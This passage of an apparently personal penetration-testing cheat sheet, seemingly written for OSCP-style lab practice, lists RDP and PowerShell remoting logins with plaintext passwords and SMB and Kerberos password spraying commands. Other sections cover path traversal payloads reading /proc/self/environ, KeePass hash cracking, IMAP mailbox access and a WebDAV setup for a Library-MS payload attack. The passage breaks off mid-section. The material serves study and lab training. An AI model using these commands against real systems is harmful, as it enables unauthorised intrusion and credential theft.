class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Local format&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;xfreerdp /u:gesila /p:123456 /v:192.168.183.247 +clipboard /drive:data,/data /workarea&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Reference the file as follows&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;xfreerdp file.rdp /d:skylark /u:kiosk /p:&amp;#39;XEwUS^9R2Gwt8O914&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="69windows_history"&gt;&lt;a href="#69windows_history" class="header-anchor"&gt;&lt;/a&gt;69.windows_history&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\wario\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="70powershell"&gt;&lt;a href="#70powershell" class="header-anchor"&gt;&lt;/a&gt;70.powershell&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$pass = ConvertTo-SecureString &amp;#34;W3_4R3_th3_f0rce.&amp;#34; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cred = New-Object System.Management.Automation.PSCredential(&amp;#34;ACUTE\imonks&amp;#34;, $pass)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName CLIENT02 -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName 172.16.131.83 -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-PSSession -ComputerName CLIENT02 -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-PSSession -ComputerName 172.16.131.83 -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 1. Enter an existing session by session ID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -Session (Get-PSSession -Id 18)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 2. Or use ComputerName to create and enter a new session directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName CLIENT02 -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# List all sessions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-PSSession&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Remove a session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remove-PSSession -Id 18&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Disconnect a session without removing it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Disconnect-PSSession -Id 18&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Reconnect a session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Connect-PSSession -Id 18&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls .\auditTracker.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View detailed permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Acl .\auditTracker.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run with elevated privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc.exe start audtiTracker&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc.exe qc auditTracker&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View the privileges under which the file runs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process .\auditTracker.exe -Verb RunAs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service auditTracker | Select-Object *&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Get-Service &amp;#34;auditTracker&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /fo LIST /v&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ScheduledTask | Where-Object {$_.State -eq &amp;#39;Ready&amp;#39;} | Select TaskPath,TaskName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /tn &amp;#34;TASK_NAME&amp;#34; /fo LIST /v&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$task = Get-ScheduledTask -TaskName &amp;#34;TASK_NAME&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$task | Select *&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="71domain-enumeration"&gt;&lt;a href="#71domain-enumeration" class="header-anchor"&gt;&lt;/a&gt;71.Domain Enumeration&#10;&lt;/h3&gt;&lt;p&gt;I&amp;rsquo;ve used both of these for a long time, but some parameters differ between versions, so I&amp;rsquo;m writing them all down here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# crackmapexec has delay issues and jitter causes errors; netexec works better&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;netexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success --jitter 5&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sometimes &amp;#34;Connection Error: Error while reading from remote&amp;#34; requires manual verification&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Full arguments; a domain can be specified&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb 192.168.50.75 -u users.txt -p &amp;#39;Nexus123!&amp;#39; -d corp.com --continue-on-success&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/ropnop/kerbrute/releases&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For Kerberos brute forcing&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt &amp;#34;Nexus123!&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This can run on a domain member host&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="72other-uses-for-vulnerabilities"&gt;&lt;a href="#72other-uses-for-vulnerabilities" class="header-anchor"&gt;&lt;/a&gt;72.Other Uses for Vulnerabilities&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Read the identity of the user running the program&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/status&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/environ&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;keepass2john Database.kdbx &amp;gt; 1.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;keepassxc Database.kdbx&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="73imap"&gt;&lt;a href="#73imap" class="header-anchor"&gt;&lt;/a&gt;73.IMAP&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IMAP commands&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Log in first&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a001 LOGIN maildmz@relia.com DPuBT9tGCBrTbR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# List all mailboxes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a002 LIST &amp;#34;&amp;#34; &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Select the inbox&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a003 SELECT INBOX&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View messages&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a004 FETCH 1:* FULL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View status&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a005 STATUS INBOX (MESSAGES)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# List all folders&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a006 LSUB &amp;#34;&amp;#34; &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="74library-ms-file-attack"&gt;&lt;a href="#74library-ms-file-attack" class="header-anchor"&gt;&lt;/a&gt;74.Library-MS File Attack&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://medium.com/@mhwee/unmasking-windows-library-files-a-deep-dive-into-client-side-exploitation-6bf3371a5262" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@mhwee/unmasking-windows-library-files-a-deep-dive-into-client-side-exploitation-6bf3371a5262&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@msuliman.mohamed/deliver-your-payload-by-abusing-windows-library-files-cfe862b619df" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@msuliman.mohamed/deliver-your-payload-by-abusing-windows-library-files-cfe862b619df&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/oscp/Relia/webdav&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="75postgres"&gt;&lt;a href="#75postgres" class="header-anchor"&gt;&lt;/a&gt;75.postgres&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://www.cnblogs.com/renhaoblog/p/15035230.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psql -h localhost -p 5432 -U postgres&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Specify the database name (the default is the postgres database)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo /usr/bin/psql postgres&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo -u postgres /usr/bin/psql postgres&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or use a connection string&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo /usr/bin/psql &amp;#34;postgresql:///postgres?user=postgres&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CREATE ROLE root WITH SUPERUSER LOGIN;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo psql -U postgres&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="76windows-services"&gt;&lt;a href="#76windows-services" class="header-anchor"&gt;&lt;/a&gt;76.Windows Services&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span 